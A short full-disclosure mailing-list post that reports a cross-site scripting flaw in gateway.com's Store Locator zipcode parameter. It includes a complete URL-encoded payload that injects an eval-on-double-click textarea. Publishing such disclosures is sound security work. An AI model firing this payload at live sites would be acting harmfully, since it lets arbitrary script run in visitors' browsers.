full-disclosure - Gateway.com Store Locator Cross-Site Scripting Vulnerability

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Message-ID: <00f001c24577$dcf58d60$e62d1c41@kc.rr.com>
From: mattmurphy at kc.rr.com (Matthew Murphy)
Subject: Gateway.com Store Locator Cross-Site Scripting Vulnerability

In yet another situation involving unvalidated numeric input, gateway.com's
"Store Locator" feature suffers from a cross-site scripting vulnerability.

http://commerce.gateway.com/country/zipresults.asp?zipcode=%22%3E%3CTEXTAREA
%20STYLE%3Dheight%3A300px%3Bwidth%3A300px%3B%20ONDBLCLICK%3Deval%28this%2Eva
lue%29%3E%3C%2FTEXTAREA%3E

This sets up a textbox where JS commands can be entered.

"The reason the mainstream is thought
of as a stream is because it is
so shallow."
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